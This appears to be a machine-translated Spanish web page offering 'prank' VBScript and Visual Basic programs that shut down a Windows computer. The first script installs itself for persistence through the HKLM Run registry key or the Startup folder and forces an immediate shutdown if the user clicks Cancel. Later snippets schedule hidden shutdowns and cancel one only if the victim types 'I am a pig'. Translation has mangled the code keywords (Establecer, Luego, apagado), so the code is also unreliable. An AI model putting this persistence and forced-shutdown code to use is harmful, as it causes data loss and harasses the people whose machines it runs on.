VB apaga el subprograma falso uno:
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Establecer dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Establecer c = fs .GetFile(WScript.ScriptFullName) cadena ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb .vbs")) Luego llame a Show_And_Do("reg")elseif (fs.FileExists("C:/Documentos y configuraciones/Todos Usuarios/Menú Inicio/Programas/Inicio/wxb.vbs")) Luego llame a Show_And_Do("Startup")de lo contrario, en caso de error Reanudar Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ "strr=Wll.Regread (str)if strr="" thenc.Copy("C:/Documentos y configuraciones/Todos los usuarios/Menú Inicio/Programas/Inicio/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("Advertencia: ¡No toque mi computadora!" & Chr(13) & Chr(10) & "Confirmar -> Pediré permiso primero la próxima vez" & Chr(10) & "Cancelar -> ¡No me importa cómo te guste!", 4145, "Ejemplo de MsgBox")Si r = 1 Entonces si s= "Inicio" y luego establezca f = fs.GetFile("C:/Documentos y configuraciones/Todos los usuarios/Inicio Menú/Programas/Inicio/wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"Finalizar sub
Lo anterior es un poco complicado, así que hagamos uno un poco más simple.
El código es el siguiente:
Opción ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Función de declaración privada Salir de WindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As LongPrivate Sub Form_Load() Llamada SalirWindowsEx(EWX_SHUTDOWN, 0)Fin Sub
Cuándo puedes utilizar una forma más sencilla de escribir
Simplemente ingrese el siguiente código:
Private Sub Form_Load()Shell "cmd /c apagado -s -t 30"Rem El -t 0 detrás significa un apagado en 0 segundos. Si se elimina -t 0, el valor predeterminado es un apagado en 30 segundos.
Método tres:
Private Sub Command1_Click()If Text1 = "Soy un cerdo" ThenShell "cmd.exe /c apagado -a"MsgBox "¡Jaja, te dejo ir!", 64, "Preguntar"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "Jaja, tú Si lo engañan, dígame que es un cerdo; de lo contrario, su computadora se apagará en 1 minuto.", 48, "Pregunta" Shell "cmd.exe /c apagado -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancelar como entero)g = MsgBox("¿Quieres cerrarme???", vbOKCancel + vbQuestion, "Cerrar la ventana")Si g = vbOK ThenCancel = 11MsgBox "Jaja, puedo ¿Lo cierras? Déjame y llámame cerdo", 64, "Preguntar"End IfIf g = 2 ThenCancel = 11End IfEnd? Sub